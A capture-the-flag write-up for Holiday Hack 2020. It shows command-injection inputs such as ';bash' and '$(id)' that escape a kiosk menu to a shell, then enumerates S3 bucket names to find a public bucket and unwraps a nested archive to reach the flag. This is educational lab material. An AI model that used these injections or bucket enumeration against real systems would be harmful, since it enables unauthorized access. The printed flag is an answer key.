Holiday Hack 2020: Investigate S3 Bucket
Objective
Terminal - Kringle Kiosk
Challenge
Shinny’s at the bottom left of the grounds in front of the castle, and he offers a challenge involving the kiosk next to him:
Hiya hiya - I’m Shinny Upatree!
Check out this cool KringleCon kiosk!
You can get a map of the castle, learn about where the elves are, and get your own badge printed right on-screen!
Be careful with that last one though. I heard someone say it’s “ingestible.” Or something…
Do you think you could check and see if there is an issue?
On entering the terminal, the challenge is laid out more clearly:
Welcome to our castle, we're so glad to have you with us!
Come and browse the kiosk; though our app's a bit suspicious.
Poke around, try running bash, please try to come discover,
Need our devs who made our app pull/patch to help recover?
Escape the menu by launching /bin/bash
Press enter to continue...
Solution
On continuing a menu is presented:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Welcome to the North Pole!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1. Map
2. Code of Conduct and Terms of Use
3. Directory
4. Print Name Badge
5. Exit
Please select an item from the menu by entering a single number.
Anything else might have ... unintended consequences.
Enter choice [1 - 5]
The first three options print static content. The map shows floors 1, 1.5, 2, 3, and roof:
__ _ --------------
|__)_ _ (_ | NetWars Room |
| \(_)(_)| | |
| * |
--------------
__ __ __ __
_)|_ _)|_ -------
/__| Tracks __)| |Balcony|
1 2 3 4 5 6 7 -------
------- ------------- |
|Speaker|--| Talks Lobby | --------
|Unprep | | | |Santa's |
------- ------ | |Office |
| | -- --
| *| | |
------ | ---
| * |
__ ------
/||_
|| __ __ --------
-------------------------- /| |_ |_ |Wrapping|
| Courtyard | |.__)| | Room |
-------------------------- --------
| | |
------ -------- ------ --- --------
|Dining|--|Kitchen |--|Great | |--|Workshop|
| | -------- | | | | |
| Room |--| * |--| Room | | | |
| | |Entryway| | | | | |
------ -------- ------ | | |
| | * |
---------- --------
|Front Lawn| NOTE: * denotes Santavator
The directory shows where some of the elfs are in the castle:
Name: Floor: Room:
Bushy Evergreen 2 Talks Lobby
Sugarplum Mary 1 Courtyard
Sparkle Redberry 1 Castle Entry
Tangle Coalbox 1 Speaker UNPreparedness
Minty Candycane 1.5 Workshop
Alabaster Snowball R NetWars Room
Pepper Minstix Front Lawn
Holly Evergreen 1 Kitchen
Wunorse Openslae R NetWars Room
Shinny Upatree Front Lawn
The fifth option exits. Entering (almost) anything else returns an error for a second, and then re-prints the menu:
The forth option is interesting. It requests the user’s name, and then prints a cow saying that name:
Enter your name (Please avoid special characters, they cause some weird errors)...0xdf
______
< 0xdf >
------
\
\ \_\_ _/_/
\ \__/
(oo)\_______
(__)\ )\/\
||----w |
|| ||
It looks like the output of cowsay. I can hypothesize that the input is read and passed into cowsay [input]
. If that’s the case with no filtering, I can try to inject a command. It works with a command substitution:
Enter your name (Please avoid special characters, they cause some weird errors)...$(id)
___________________________________
/ uid=1000(shinny) gid=1000(shinny) \
\ groups=1000(shinny) /
-----------------------------------
\
\ \_\_ _/_/
\ \__/
(oo)\_______
(__)\ )\/\
||----w |
|| ||
Or by using ;
to append a new command to the end:
Enter your name (Please avoid special characters, they cause some weird errors)...0xdf;id
______
< 0xdf >
------
\
\ \_\_ _/_/
\ \__/
(oo)\_______
(__)\ )\/\
||----w |
|| ||
uid=1000(shinny) gid=1000(shinny) groups=1000(shinny)
So to escape to bash
, I just need to run bash
:
Enter your name (Please avoid special characters, they cause some weird errors)...;bash
_______________________
< Santa's Little Helper >
-----------------------
\
\ \_\_ _/_/
\ \__/
(oo)\_______
(__)\ )\/\
||----w |
|| ||
___ _
/ __| _ _ __ __ ___ ___ ___ | |
\__ \ | +| | / _| / _| / -_) (_-< (_-< |_|
|___/ \_,_| \__|_ \__|_ \___| /__/_ /__/_ _(_)_
_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_| """ |
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
Type 'exit' to return to the menu.
shinny@0a70a3323756:~$
Easter Eggs
With a shell, it’s possible to view the code for the kiosk, welcome.sh
. It reads the choice, and then runs the input through a case
:
read_options() {
local choice
read -r -p "Enter choice [1 - 5] " choice
case $choice in
1*) one ;;
2*) two ;;
3*) three ;;
4*) four $choice ;;
5) exit 0 ;;
plant) surprise c;;
*) echo -e "${RED}Error...${STD}" && sleep 2 ;;
esac
}
There’s a hidden option, plant
:
Enter choice [1 - 5] plant
Hi, my name is Jason the Plant!
( U
\| )
__|/
\ /
\__/ ejm96
Sleeping for 10 seconds..
Investigate S3 Bucket
Hints
On solving the kiosk, Shinny directs me towards the S3 challenge:
Golly - wow! You sure found the flaw for us!
Say, we’ve been having an issue with an Amazon S3 bucket.
Do you think you could help find Santa’s
package
file?Jeepers, it seems there’s always a leaky bucket in the news. You’d think we could find our own files!
Digininja has a great guide, if you’re new to S3 searching.
He even released a tool for the task - what a guy!
The package wrapper Santa used is reversible, but it may take you some trying.
Good luck, and thanks for pitching in!
He also unlocks five hints in the badge:
- Find Santa’s
package
file from the cloud storage provider. Check Josh Wright’s talk for more tips! - It seems like there’s a new story every week about data exposed through unprotected Amazon S3 buckets.
- Robin Wood wrote up a guide about finding these open S3 buckets.
- He even wrote a tool to search for unprotected buckets!
- Santa’s Wrapper3000 is pretty buggy. It uses several compression tools, binary to ASCII conversion, and other tools to wrap packages.
Find File in S3
Background
S3 is Amazon’s Simple Storage Service, which does what is referred to as object storage to provide access to file with high availability. To use S3, you would create a bucket and give it a name, and then this bucket can hold files and have permissions assigned to these files. There are cases where a user may want the items a bucket to be pulbically available, but also many cases where sensitive or non-public information has been left available to the public, where someone one needs to know the name of the bucket to access the files.
To that end, as mentioned in the hints, Josh Wright’s talk at Kringle Con is all about the infosec challenges that come with insecure buckets, how often it is still happening, and how to look for insecure buckets:
There’s also a tool from Robin Wood, bucket_finder.rb that will take a list of bucket names, and check for any files on them.
Find package
In the terminal next to Shinny, the message provides some hints:
Can you help me? Santa has been experimenting with new wrapping technology, and
we've run into a ribbon-curling nightmare!
We store our essential data assets in the cloud, and what a joy it's been!
Except I don't remember where, and the Wrapper3000 is on the fritz!
Can you find the missing package, and unwrap it all the way?
Hints: Use the file command to identify a file type. You can also examine
tool help using the man command. Search all man pages for a string such as
a file extension using the apropos command.
To see this help again, run cat /etc/motd.
elf@ff8a2e8f0b9c:~$
Given the need to find a bucket, I’ll need to generate a wordlist. There’s always a template wordlist in the bucket_finder
directory:
elf@f7c90bd4e77b:~/bucket_finder$ cat wordlist
kringlecastle
wrapper
santa
Running on this wordlist finds buckets that are not accessible:
elf@f7c90bd4e77b:~/bucket_finder$ ruby bucket_finder.rb wordlist
http://s3.amazonaws.com/kringlecastle
Bucket found but access denied: kringlecastle
http://s3.amazonaws.com/wrapper
Bucket found but access denied: wrapper
http://s3.amazonaws.com/santa
Bucket santa redirects to: santa.s3.amazonaws.com
http://santa.s3.amazonaws.com/
Bucket found but access denied: santa
I’ll need to create a new wordlist. The term Wrapper3000
from the hints and the MOTD is interesting for sure. KringleCon is the other word that comes to mind. I’ll make a new wordlist with these (bucket names are case-sensitive):
elf@f7c90bd4e77b:~/bucket_finder$ cat words
Wrapper3000
wrapper3000
kringlecon
Kringlecon
KringleCon
This list finds one open bucket:
elf@f7c90bd4e77b:~/bucket_finder$ ruby bucket_finder.rb words
http://s3.amazonaws.com/Wrapper3000
Bucket does not exist: Wrapper3000
http://s3.amazonaws.com/wrapper3000
Bucket Found: wrapper3000 ( http://s3.amazonaws.com/wrapper3000 )
<Public> http://s3.amazonaws.com/wrapper3000/package
http://s3.amazonaws.com/kringlecon
Bucket does not exist: kringlecon
http://s3.amazonaws.com/Kringlecon
Bucket does not exist: Kringlecon
http://s3.amazonaws.com/KringleCon
Bucket does not exist: KringleCon
I could use the --download
flag, or just grab it with curl
. The file is a long string of base64 characters:
elf@f7c90bd4e77b:~/bucket_finder$ curl -s http://s3.amazonaws.com/wrapper3000/package -o p
ackage
elf@f7c90bd4e77b:~/bucket_finder$ file package
package: ASCII text, with very long lines
elf@f7c90bd4e77b:~/bucket_finder$ cat package
UEsDBAoAAAAAAIAwhFEbRT8anwEAAJ8BAAAcABwAcGFja2FnZS50eHQuWi54ei54eGQudGFyLmJ6MlVUCQADoBfKX6
AXyl91eAsAAQT2AQAABBQAAABCWmg5MUFZJlNZ2ktivwABHv+Q3hASgGSn//AvBxDwf/xe0gQAAAgwAVmkYRTKe1PV
M9U0ekMg2poAAAGgPUPUGqehhCMSgaBoAD1NNAAAAyEmJpR5QGg0bSPU/VA0eo9IaHqBkxw2YZK2NUASOegDIzwMXM
HBCFACgIEvQ2Jrg8V50tDjh61Pt3Q8CmgpFFunc1Ipui+SqsYB04M/gWKKc0Vs2DXkzeJmiktINqjo3JjKAA4dLgLt
PN15oADLe80tnfLGXhIWaJMiEeSX992uxodRJ6EAzIFzqSbWtnNqCTEDML9AK7HHSzyyBYKwCFBVJh17T636a6Ygyj
X0eE0IsCbjcBkRPgkKz6q0okb1sWicMaky2Mgsqw2nUm5ayPHUeIktnBIvkiUWxYEiRs5nFOM8MTk8SitV7lcxOKst
2QedSxZ851ceDQexsLsJ3C89Z/gQ6Xn6KBKqFsKyTkaqO+1FgmImtHKoJkMctd2B9JkcwvMr+hWIEcIQjAZGhSKYNP
xHJFqJ3t32Vjgn/OGdQJiIHv4u5IpwoSG0lsV+UEsBAh4DCgAAAAAAgDCEURtFPxqfAQAAnwEAABwAGAAAAAAAAAAA
AKSBAAAAAHBhY2thZ2UudHh0LloueHoueHhkLnRhci5iejJVVAUAA6AXyl91eAsAAQT2AQAABBQAAABQSwUGAAAAAA
EAAQBiAAAA9QEAAAAA
Unwrap
On decoding the base64, the result starts with PK, which is the magic bytes for a zip file:
elf@f7c90bd4e77b:~/bucket_finder$ base64 -d package | xxd | head
00000000: 504b 0304 0a00 0000 0000 8030 8451 1b45 PK.........0.Q.E
00000010: 3f1a 9f01 0000 9f01 0000 1c00 1c00 7061 ?.............pa
00000020: 636b 6167 652e 7478 742e 5a2e 787a 2e78 ckage.txt.Z.xz.x
00000030: 7864 2e74 6172 2e62 7a32 5554 0900 03a0 xd.tar.bz2UT....
00000040: 17ca 5fa0 17ca 5f75 780b 0001 04f6 0100 .._..._ux.......
00000050: 0004 1400 0000 425a 6839 3141 5926 5359 ......BZh91AY&SY
00000060: da4b 62bf 0001 1eff 90de 1012 8064 a7ff .Kb..........d..
00000070: f02f 0710 f07f fc5e d204 0000 0830 0159 ./.....^.....0.Y
00000080: a461 14ca 7b53 d533 d534 7a43 20da 9a00 .a..{S.3.4zC ...
00000090: 0001 a03d 43d4 1aa7 a184 2312 81a0 6800 ...=C.....#...h.
Save that to a file, and unzip it, resulting in a .txt.Z.xz.xxd.tar.bz2
file:
elf@f7c90bd4e77b:~/bucket_finder$ base64 -d package > package.zip
elf@f7c90bd4e77b:~/bucket_finder$ unzip -l package.zip
Archive: package.zip
Length Date Time Name
--------- ---------- ----- ----
415 2020-12-04 11:04 package.txt.Z.xz.xxd.tar.bz2
--------- -------
415 1 file
elf@f7c90bd4e77b:~/bucket_finder$ unzip package.zip
Archive: package.zip
extracting: package.txt.Z.xz.xxd.tar.bz2
The .bz2
file is bzip2 data, and can be unpacked using tar
:
elf@c00f007d1c65:~/wrapper3000$ file package.txt.Z.xz.xxd.tar.bz2
package.txt.Z.xz.xxd.tar.bz2: bzip2 compressed data, block size = 900k
elf@c00f007d1c65:~/wrapper3000$ tar -xvjf package.txt.Z.xz.xxd.tar.bz2
package.txt.Z.xz.xxd
The resulting file is a hexdump:
elf@c00f007d1c65:~/wrapper3000$ cat package.txt.Z.xz.xxd
00000000: fd37 7a58 5a00 0004 e6d6 b446 0200 2101 .7zXZ......F..!.
00000010: 1600 0000 742f e5a3 0100 2c1f 9d90 4ede ....t/....,...N.
00000020: c8a1 8306 0494 376c cae8 0041 054d 1910 ......7l...A.M..
00000030: 46e4 bc99 4327 4d19 8a06 d984 19f3 f08d F...C'M.........
00000040: 1b10 45c2 0c44 a300 0000 0000 c929 dad6 ..E..D.......)..
00000050: 64ef da24 0001 452d 1e52 57e8 1fb6 f37d d..$..E-.RW....}
00000060: 0100 0000 0004 595a ......YZ
xxd -r
will reverse it:
elf@8a902abd259a:~/wrapper3000$ cat package.txt.Z.xz.xxd | xxd -r > package.txt.Z.xz
The next layer is XZ compression, decompressed with the xz
binary:
elf@8a902abd259a:~/wrapper3000$ file package.txt.Z.xz
package.txt.Z.xz: XZ compressed data
elf@8a902abd259a:~/wrapper3000$ xz -dc package.txt.Z.xz > package.txt.Z
Finally, while file
doesn’t reveal the data type, .Z
files are Unix compressed, and can be decompressed with uncompress
, revealing the flag:
elf@f7c90bd4e77b:~/bucket_finder$ file package.txt.Z
package.txt.Z: compress'd data 16 bits
elf@8a902abd259a:~/wrapper3000$ uncompress package.txt.Z
elf@8a902abd259a:~/wrapper3000$ cat package.txt
North Pole: The Frostiest Place on Earth
Flag: North Pole: The Frostiest Place on Earth